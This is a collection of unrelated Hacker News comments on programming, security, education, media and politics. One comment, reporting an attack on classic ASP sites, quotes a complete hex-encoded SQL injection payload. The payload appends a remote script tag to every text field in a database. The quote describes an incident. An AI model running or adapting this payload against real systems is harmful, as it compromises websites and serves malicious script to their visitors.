jkeisling/hacker-news-corpus-2007-2022 huggingface dataset:
I think this fits what you are looking for:

http://www.rosettacode.org/wiki/Rosetta_Code

There is a listing of 'tasks' (explore > tasks in the topnav) and each one features submissions in many different languages.
And wasted 3 out of mine. Why is this remotely interesting to The Times?
He never mentions downloading Visual Studio but just says install it and provides the link and he never mentions installing Eclipse but just says to download it so I think it's a wash.
I think that's the point. There IS nothing that needs to be done to make schools better. Reforms need to happen culturally and at home.
I doubt Jacob is hacking his own code, he'd have way too much to lose and I do believe he actually loves the project. If he were to do anything it'd be handing interesting traffic off various exit nodes he and friends control to Wikileaks. That'd be about all I or anyone else could allegedly claim.
And you don't find the idea that in terms of education potential, the author's assumption that there is something fundamentally different about Americans of Asian, Caucasian or African descent just a little bit creepy?

Like I said: I totally buy into the immigrant argument (including the language barrier) but to only compare Whites from the US to Europe (for a supposed "like for like" comparison), you're going beyond language and culture and introducing race as a variable.

And no this isn't some kind of crypto-racist accusation. I just don't see how you can reasonably differentiate between someone of Chinese descent whose ancestors came here in the 19th century to build the railroads to someone of Irish descent who came here a century ago.
Yeah, that's exactly what I was wondering. Last time I tried playing with the Processing's video API on Linux there were some problems IIRC. That was a long time ago, so it's probably fixed now.

Anyway, cool visualization!
Since we already know the answer, I guess I'll just expose my ignorance: what % of test score variance is explained by the home environment?

And while we are on the topic, what % of variance is caused by: IQ, non-IQ ethnic factors, school quality, teacher quality, non-home environment, etc? I.e., what are the principal components of educational outcomes?

Also, what are the "wrong questions" this article is "designed" to get people to ask?
It is unclear to me what you think doesn't work. A closure can easily store state. As you yourself demonstrate in your rebinding example, you can store and mutate scope if you use a mutable datastructure (like a list) to avoid rebinding problems.

Perhaps if you gave an example of what you think doesn't work, I might understand your point.
"At the end of the day when you're dealing with a government that has absolutely no qualms about simply taking you away and killing you discreetly, regardless of who you are, there is no hack clever enough to protect you."

The thing is that for many people the risk of getting killed is worth it, and protecting the source is not the ultimate goal.

History has shown us that dissidents will often and gladly risk their own lives to get their message out. And often, despite the risks, they've managed to evade detection and capture even when they were up against huge, ruthless spy networks like those of the Soviet Union, post-war East Germany, or the Gestapo.
Actually, only the former may be correct, and in any case, it is the only claim that is discussed in the paper.

If you close your eyes you will not be able to see if a problem exists, identify it, find a solution and follow it through. And calling people names would not help either.
The catch is that while this might apply to some specific brilliant ideas, most ideas you might come up with are probably not new and not amazing. The risk is in your own bias of your assessment in the other direction.

Although as startups go, we know that it is all in the execution.
Not bad at all as far as interface goes, but their timer is buggy. In 5 0 it ate 15 seconds of my time, apparently due to lag.
A thought I had for a while: do analysis on games as they occur and try to estimate opponents' strength, as a way to detect cheating of the type where one of the players mimics a computer. Computationally expensive, but would be fun to try.
This is why it annoys me when someone posts a link to some advice on HN, a bunch of commenters are talking about how they had never thought of it before and how useful it is, and then someone has to leap in saying "This stuff is old hat. Everyone has heard of this before. I thought of it myself back in 1843."

Because everyone has to learn some time, and what is obvious to one person isn't obvious to the next one. And anything which helps people realise something true is worth repeating from time to time.
And my problem with society is that people are so easily convinced.
I don't have experience with this, but you've reminded me to rotate the password to my Gmail account :)
The analogy holds in terms of harm. Point a gun at them and they might end up in the hospital or morgue. Point a camera at them and they might end up in jail. Point a penis at them and they will come to no direct harm if they ignore it; they might get sanctioned for not stopping a disturbance of the peace, but that's a very different thing than the other three outcomes.
I liked this analogy, and found it informative.*

*Not a farmer, not a vegetarian, just a programmer.
Twitter has done some amazing Jedi mind tricks to convince the media that it has a place in that sentence.
Anyone familiar with any ALGOL-derived language could be productive, at a commercial level, in any other in a matter of days. Probably less these days with easily searchable API docs.
Andriods don't use the elastic band effect. 2.3 apparently has a new effect where as you approach the end of a list, the background starts changing colour slightly. This continues as you try scrolling past the end. Anandtech says it's vaguely reminiscent of watching stressed plastic.
I know it's juvenile, but I've been pronouncing it "Siffy" since they made the change. Then again, they really don't seem to be a sci-fi channel anymore (wrestling, paranormal), so I guess it makes more sense.

Still, they occasionally have good programming still. I was pleasantly surprised to see Children of Men was on last weekend when I flipped by it. (Of course, I flipped back for that)
Yes it's a PITA, I subscribe to certain tags via RSS to get interesting stuff to read. The loss of that is quite big for me. Saying it's like setting a museum on fire is a bit too far though.
I think the product seems technically very good, but it has this weird cheap quality to it. I've noticed that HTC's phones feel and look more solid. I'm not sure why, maybe Samsung needs more investment in material sciences and design?
Err, if I was writing a scraper today, I'd just ignore the robots.txt

I dunno if Geocities had a similar robots.txt, but it didn't stop several groups from archiving it (which was the right thing to do in either scenario).
I'm curious as to whether the Windows Phone 7 devices scroll smoothly, in many ways their phone team seems to be working closer to the Apple-way than the Google-way.
It's pretty small for an aerospace company.
What are you trying to say by quoting this famouse line? That it can't be made simpler? How do you know that?

"Never rise to speak till you have something to say."
Weapons research is equally vile, it is also a differnt discussion. This is about sexual gratification.
7K1000's are fantastic in my experience
A lot of APIs produce promises these days. The big one that I always need to promisify is `setTimeout`, but apart from that, I tend to find that if I'm using the `new Promise` API, I'm usually doing something wrong.

With Node APIs, there's a promisified version of pretty much everything. With browser APIs, there's usually a version with promises, and I'm struggling to think of an asynchronous API without promises that hasn't been superseded by something else (e.g. XMLHttpRequest -> fetch). If I'm converting from an event-emitter API to promises, there's usually going to be an impedance mismatch between the expectations of the event-based system and the promise-based system, and I probably need to explore another option.

I agree that any competent JS dev should understand how to create promises "from scratch" like this. But it still should probably be a fairly rare occurrence, and if I see a lot of `new Promise` calls in one place, it's pretty much always a sign that someone doesn't really understand how promises work.
The FCC chose to end it for the reasons I mentioned.

The equal time rule has so many exceptions that it might as well not exist. Also, to my knowledge, it has not been extensively reviewed by the Supreme Court on constitutionality grounds, probably because of those exceptions that mean there's never really a case to fight over. The one case I could find wasn't fighting the rule itself, but rather it's interpretation.
Ability to design and implement a large scale system from the ground up.
The fact that they let people vote in person is highly suspect. It should have been a fully mail in vote to avoid covid
I think piquing an interest in computer programming for of millions of kids was useful. Millions of kids didn't get the cart, but it certainly made them think about using electronics for more than games.

I'm not sure the BASIC cart was intended to be "useful" as in "productive." I think it was supposed to be a demonstration to young people that they could make a machine do things for them.
> Secondly, the author believes that senior developers, who likely have 10+ years under their belt if they're senior, need to spend a solid month revising in order to be successful landing a role there

As others have noted, the same seems to be true of a number of other computing companies: the "technical interview" is a sort of qualifying examination (largely focused on undergraduate algorithms/algorithm puzzles/leetcode type problems) that is unrelated to the actual work.
This is where things get more complicated.

For example, things in the US have moving and TV ratings based on the type of content. People can opt-in to watching things at that rating level knowing the types of content in it. They can do it for themselves and their children. Some TV stations only have certain types of content and remove others.

With social networks some will say that certain types of content isn't for that network. It's the same idea.

What these channels and networks aren't doing is telling you what is misinformation or not. They aren't making truthy statements.

Modern social media is making truthy statements. booleans. Not about what content is allowed in the network but about what is true and not as a whole. That's different.
This seems like a great opportunity to learn more about FreeBSD, but for an individual, the price is steep. I even looked at the videos for purchase and they surprisingly cost the same amount as the in-person course. Can anybody attest to the value the course provides?
I bought one of these about 15 years ago. The packaging was great, with lots of funny cards and stickers. Apparently now you get photos of Cliff with your actual bottle, and a personalised drawing on the box.

I'm permanently on the move, so I've got it stored in my parents' attic. I told them to be careful with it, as it contains the entire universe.
Not that effective for gathering reliable intelligence in a timely manner, but very effective for other purposes: To punish, to instill fear in potential enemies, to satisfy a need for revenge.

The "gathering intelligence" excuse is used only because it allows "good people" to convince themselves they support torture for rational, "good" reasons. Nobody would openly say they support torture because they want to see the enemy writher in pain and fear and be forced to eat their own shit. Even if this is the real reason.
Like all fallacies, it's only a fallacy when it's fallacious.

Otherwise, it's just a regular d argument.
Tim said:
"I like to contrast the betting economy and the operating economy. The operating economy is the one that delivers goods and services and people pay for them. And the betting economy is where you guess at what the value might be, or what other people think it might be."
One thing that always has scared me a bit with using CAs for SSH is how you protect the signing certificates? After all, if an attacker gets that cert then they get full access to everything, and can masquerade as anyone. You end up with a choice between a) have lots of SSH keys out in the wild, each with varying degrees of access, or b) have a single cert that is on your infrastructure but has access to everything. (Not to mention how you deal with the operating the site, what happens if it crashes? How do you log in without the site to sign your ssh key? Using standard trusted SSH keys to access feels like its somewhat undermining the point of using CAs).

Has anyone solved this, or got a write up of some best practices for running this? All I've managed to find are articles about how to run such apps, rather than how it fits into the broader security architecture.

Ideally ideally, what I would actually like is the ability to configure OpenSSH to require multiple things to log in, i.e. both that they SSH key is trusted and that it has recently been signed by the signing service. That way gaining access to the signing certificate doesn't help without also gaining a trusted SSH key (it's still bad, but not quite Game Over levels of bad). I had a quick look to see if I could hack together a patch to do this, but alas I had forgotten how weak my C foo is :(
Well, there is this different timeline in the universe where Microsoft decides to keep selling Xenix instead of focusing on MS-DOS.
IMO fixing BEAM VM to easily work on cluster could be better for distributed systems than k8s.
The "week date" format (yyyy-www-d) in ISO8601 is IMHO why it's usually better to refer to RFC3339, which doesn't allow the week date format.

So many people are unaware that the ISO8601 format allows "week date" and/or don't understand its quirks, and articles like this one, which don't even mention that ISO8601 dates can appear in this format, compound the problem.
Restaurants don't want to care about deploying their own delivery services. If they can pay a fee and outsource that they will.

Open Source would only work if there were vendors to sell a packaged solution that restaurants can just plug into their systems (menu/ordering), no small restaurant will want the headache of maintaining their own software infrastructure...
False positive would be something breaking when it didn't break. This instead would tell you something broke and give you a detailed trace of how it happened telling you how to reproduce the breakage (which is super hard with concurrency bugs). If that is somehow expected behavior, you have a flaky test. If you can't rely on your tests, basically you should fix them.

And yes that is hard with testing asynchronous and concurrent code. This framework is intended to make that easier and get more out of your tests without a lot of boilerplate.
My comment was more about popular mindset than specific policy solutions. I was trying to say that maybe reinvestment is not always an unquestionably good/best thing.

> As for forcing companies to pay dividends, I’d rather the government not be able to tell me what to do with my company’s funds

I don't want to digress too much, but limited liability corporation and more complex structures with shareholders are creations of the government. You used to have to obtain a specific charter from the sovereign for each one of them. So unless you're an individual doing business with unlimited liability, it's debatable whether government (or the lawgiver, to be more specific) shouldn't get to make the rules for you.
Work culture varies hugely from company to company. If that's considered ok at Netflix that's their choice, if the the guy doesn't like it just don't work there.
What impressed me were the videos of people taking the Model T "off-roading". I would never attempt to drive my current car into a ditch like that.
I'm not sure what you're disagreeing with.

Edit: I think I understood the rationale but it's blinkered. It's Google's business to find out why such transitions are difficult or unattractive to users and to smooth the way. To answer your question, why sync, an example is data portability. While most computer users have never heard the term, they do have an intuitive understanding of the kinds of problems that can happen when you don't have a local copy of your stuff, as almost happened with the Google Video screw-up. Whether problems like this are real or permanent isn't the most relevant fact, it's that people experience them.
I've just watched the video on my laptop and this 3D audio actually works! It's amazing! I'd really like to see more demos.
From a marketing perspective, is this a good idea? Will employees remember - wow they were there in my time of need, and go back more often? Or will they just think... yeah that's the place I got shit-faced at the night Yahoo canned me, I'm never going back there?
Or, to put it another way, they want people to have to click before reading your story.
Telling a salesman you'd like to buy a product doesn't contractually oblige you to buy, submitting an order for a product does.

Try calling an airline after you've ordered a ticket online to explain you can't afford it and want a refund. Just because it's ebay doesn't mean it's any different.
spam. report. (is "flag" the same as "report"?)
found on the web:

We got hit through some old classic asp pages two days ago.

The attack looks like it appends the following to query parameters:

;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737324537323646363236393645373432453735373332463735324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B6520272725726F62696E742527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXEc(@s)--

It appends the script to all text fields in the database. I don't think it has anything special to do with IIS/ASP.
The uTorrent people say they're working on a Linux version, but haven't given details. Until then, it works well under Wine. Or there are a lot of other options, too.
How does blocking ads that I'm not going to click screw anyone? Surely no one pays for their ads to just appear on a web page. If they do I think they're getting ripped off. Until I started hearing people talk about how scary targeted ads were I never even knew. I don't run ad block but I don't even notice the ads. I had to consciously look to see if they were targeted. I saw they were, said "oh, that's scary" and went back to my regular browsing. A result of growing up on public TV I guess.
While this is a work in progress I think rails could learn from it. The use of eventmachine at the core for handling requests and responses is brilliant. I hope to see more of this in the future.
Again, there's a huge difference between 4D space and 3D spacetime. Both are 4-dimensional mathematical spaces, but the visualization is completely different.

"Time is the fourth dimension" is the single most damaging sentence for your understanding of time and space.

To have an n-dimensional spacetime where time is not the nth dimension makes no sense.
I really hate this video. It makes things more complicated than needed.

You can't "visualize" the fourth dimension (or I haven't met anyone who could... and the kind of math/physics where this comes up was a common topic for me for a while).

However, you can understand it pretty easily. Its really just another coordinate. You can do algebra with it. If I say someone is at (3, 2, 5, 6) and moves (1, 2, 3, 4) they are now at (4, 4, 8, 10)...

Want a 5th dimension? Add another comma/number.

People who "visualize" the higher dimensions actually visualize 2 or 3 dimensions and know how to generalize (from practice/experience/theorems).
My best theory is there is some interested parties (ie Google) that want to use a persistent SPDY/HTTP2 connection host/port as an unavoidable session cookie. Make your services so that people have to log in and continue the same connection in order to keep using the 'app' and you can track them better.

I haven't checked yet but I won't be surprised to find out that Chrome keeps one SPDY/HTTP2 connection open to google-analytics.com that's shared for all domains...
I'm sure it does. But the overhead associated with SSL connections is something that should be solved at that level, not by shoehorning a complete multiplexing system into an otherwise relatively clean protocol. It seems to me that that violates a whole pile of good design principles.
That seems like a good idea. But what I think is missing in Photoshop is image analysis features. These features will allow you to take image editing to an entirely different level. This is a self-promotion, of course – you can read about some of these features at Pixcavator.com. I have been working on a technology for computer vision/image mining/image search, but recently I realized that being able to analyze the image gives you totally new tools for image manipulation. If somebody is interested in pursuing this, write me a couple of lines.
Yea definitely slower
Interesting background of the authors. From Xen (which itself was derived from the Nemesis exokernel, although not directly). XenSource is a heavy OCaml user. And from Cambridge University where Nemesis was developed.
I would recommend something simple to start. How about this USB nerf rocket launcher from ThinkGeek: http://www.thinkgeek.com/geektoys/warfare/8a0f/ It's cheap ($25), cool, has horizontal and vertical movement plus firing, and the software is Windows-only. Not to mention that a Kinect + rocket launcher combo would be awesome.

My secondary vote (and it's a selfish one) is this pedometer that only has Windows software: http://www.mattcutts.com/blog/my-favorite-pedometer-omron-hj... . Another possibility would the the Fitbit.

I'd be happy to get you any of these devices if you wanted to document what you find with adafruit-like clarity. Even better would be an exchange to hook willing USB reverse engineers up with people willing to provide devices for those engineers. :)
As a card-carrying member of the fan club I find this quite a treat. Go Wattvision! A monitor on every meter!
BTW also: you're young, and most likely have neither a family, nor a terribly serious relationship that can't buck the strain -- so go ahead, kill yourself with work for a year or two.
If all the wealth is dynastic and concentrated at the top, there goes the American dream of social mobility. The estate tax is a brake on that process.